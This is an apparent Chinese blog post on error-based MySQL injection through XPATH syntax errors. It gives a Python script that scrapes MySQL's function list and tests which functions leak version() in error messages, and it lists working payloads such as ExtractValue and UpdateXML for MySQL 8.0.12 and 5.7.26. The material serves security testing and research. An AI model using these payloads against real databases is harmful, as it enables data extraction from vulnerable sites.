MYSQL注入之XPATH语法错误报错扩展

XPATH语法错误:

  从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue()和updatexml()。

Extractvalue()负责在xml文档中按照xpath语法查询节点内容updatexml()则负责修改查询到的内容

报错原理:
这两个函数的第二个参数都要求是符合xpath语法的字符串,如果不满足要求就会报错,并且会把查询结果放在报错信息里。

但是对于此类报错来说,其报错函数并不止上述提供的两个,不同的数据库版本有不同的报错函数,本文提供一个自动化脚本,可以自动化的检测各个版本的Xpath报错函数,其原理非常简单,就是通过爬虫爬取mysql官方文档的函数内容,构造报错输入,进行测试,来实现自动化的报错函数检测。

#使用python对网页进行爬取,然后进行数据处理

#对目标进行观察,后发现,函数名有以下特征

#都处于标签scope="row"之下,并且没有被<>包裹,因此可以用xpath进行定位,然后使用正则提取出函数名

#使用python对网页进行爬取,然后进行数据处理

#对目标进行观察,后发现,函数名有以下特征

#都处于标签scope="row"之下,并且没有被<>包裹,因此可以用xpath进行定位,然后使用正则提取出函数名

#使用python对网页进行爬取,然后进行数据处理
#对目标进行观察,后发现,函数名有以下特征
#都处于标签scope="row"之下,并且没有被<>包裹,因此可以用xpath进行定位,然后使用正则提取出函数名
import requests
import pymysql
from lxml import etree
import os
import re
import sys
target='<a class="link" .+><code class="literal">.+[[<em class="replaceable"><code>.+\n</code></em>].*]+'
url="https://dev.mysql.com/doc/refman/5.0/en/built-in-function-reference.html"
header={
    'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36'
}
def get_page(url,header):
    target_url=url
    target_header=header
    response=requests.get(url=url,headers=target_header)
    return response
def get_link(page_content,func_list):
    result=etree.HTML(page_content.text)
    element_=result.xpath('//*[@scope="row"]')
    for each in element_:
        data=etree.tostring(each,encoding='utf-8').decode('utf-8')
        #print(data)
        one=re.sub('\<.*?\>','',data)
        func_list.append(one)
    return element_
def connect_to_mysql():
    conn = pymysql.connect(host='localhost',port=3306,user='root',passwd='root', charset = 'utf8' )
    cursor = conn.cursor()
    #cursor.errorhandler
    return cursor
def test_sql(cursor,func_list,error_list):
    #for each in linklist:
    for each in func_list:
        sql=[]
        sql.append('select '+each[0:-2]+'concat(\'~\',version()))')
        sql.append('select '+each[0:-2]+'1,concat(\'~\',version()))')
        sql.append('select '+each[0:-2]+'concat(\'~\',version()),1)')
        sql.append('select '+each[0:-2]+'concat(\'~\',version()),1,1)')
        sql.append('select '+each[0:-2]+'1,1,concat(\'~\',version()),1,1)')
        sql.append('select '+each[0:-2]+'1,concat(\'~\',version()),1)')
        for each in sql:
            #print(each)
            try :
                cursor.execute(each)
            except:
                info=sys.exc_info()
                print( info[0], ":", info[1])  
                if '5.0' in str(info[1]):
                    error_list.append(each+str(info[1]))

if __name__=="__main__":
    func_list=[]
    error_list=[]
    cursor=connect_to_mysql()
    page_content=get_page(url,header)
    link=get_link(page_content,func_list)
    params=["version()","version(),1","1,version()","version(),1,1","1,version(),1","1,1,version()"]
    #print(func_list)
 
    test_sql(cursor,func_list,error_list)
    print(error_list)

以下就是对某几个sql版本进行检测所得到的结果

8.0.12

报错函数  报错语句 报错内容
BIN_TO_UUID select BIN_TO_UUID(concat(\'~\',version())) Incorrect string value: \'~8.0.12\' for function bin_to_uuid
ExtractValue     select ExtractValue(1,concat(\'~\',version()))"XPATH syntax error: \'~8.0.12\'"
GTID_SUBSET  select GTID_SUBSET(concat(\'~\',version()),1)  "Malformed GTID set specification \'~8.0.12\'.")
GTID_SUBTRACT        select GTID_SUBTRACT(concat(\'~\',version()),1)  Malformed GTID set specification \'~8.0.12\'."
ST_LatFromGeoHash    select ST_LatFromGeoHash(concat(\'~\',version())) "Incorrect geohash value: \'~8.0.12\'
ST_LongFromGeoHash    select ST_LongFromGeoHash(concat(\'~\',version())) Incorrect geohash value: \'~8.0.12\' for function ST_LONGFROMGEOHASH"
UpdateXML     select UpdateXML(1,concat(\'~\',version()),1)     "XPATH syntax error: \'~8.0.12\'"
UUID_TO_BIN          select UUID_TO_BIN(concat(\'~\',version())    "Incorrect string value: \'~8.0.12\' for function uuid_to_bin"

15.7.26

报错函数   报错语句 报错内容
ExtractValue   select ExtractValue(1,concat(\'~\',version()))XPATH syntax error: \'~5.7.26\'"
GTID_SUBSET  select GTID_SUBSET(concat(\'~\',version()),1) Malformed GTID set specification \'~5.7.26\'."
GTID_SUBTRACT   select GTID_SUBTRACT(concat(\'~\',version()),1) "Malformed GTID set specification \'~5.7.26\'.")'
ST_LatFromGeoHash select ST_LatFromGeoHash(concat(\'~\',version())) "Incorrect geohash value: \'~5.7.26\'
ST_LongFromGeoHash    select ST_LongFromGeoHash(concat(\'~\',version()))"Incorrect geohash value: \'~5.7.26\' for function ST_LONGFROMGEOHASH
ST_PointFromGeoHash select ST_PointFromGeoHash(concat(\'~\',version()),1)"Incorrect geohash value: \'~5.7.26\' for function st_pointfromgeohash")
UpdateXML  select UpdateXML(1,concat(\'~\',version()),1)  "XPATH syntax error: \'~5.7.26\'")']

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值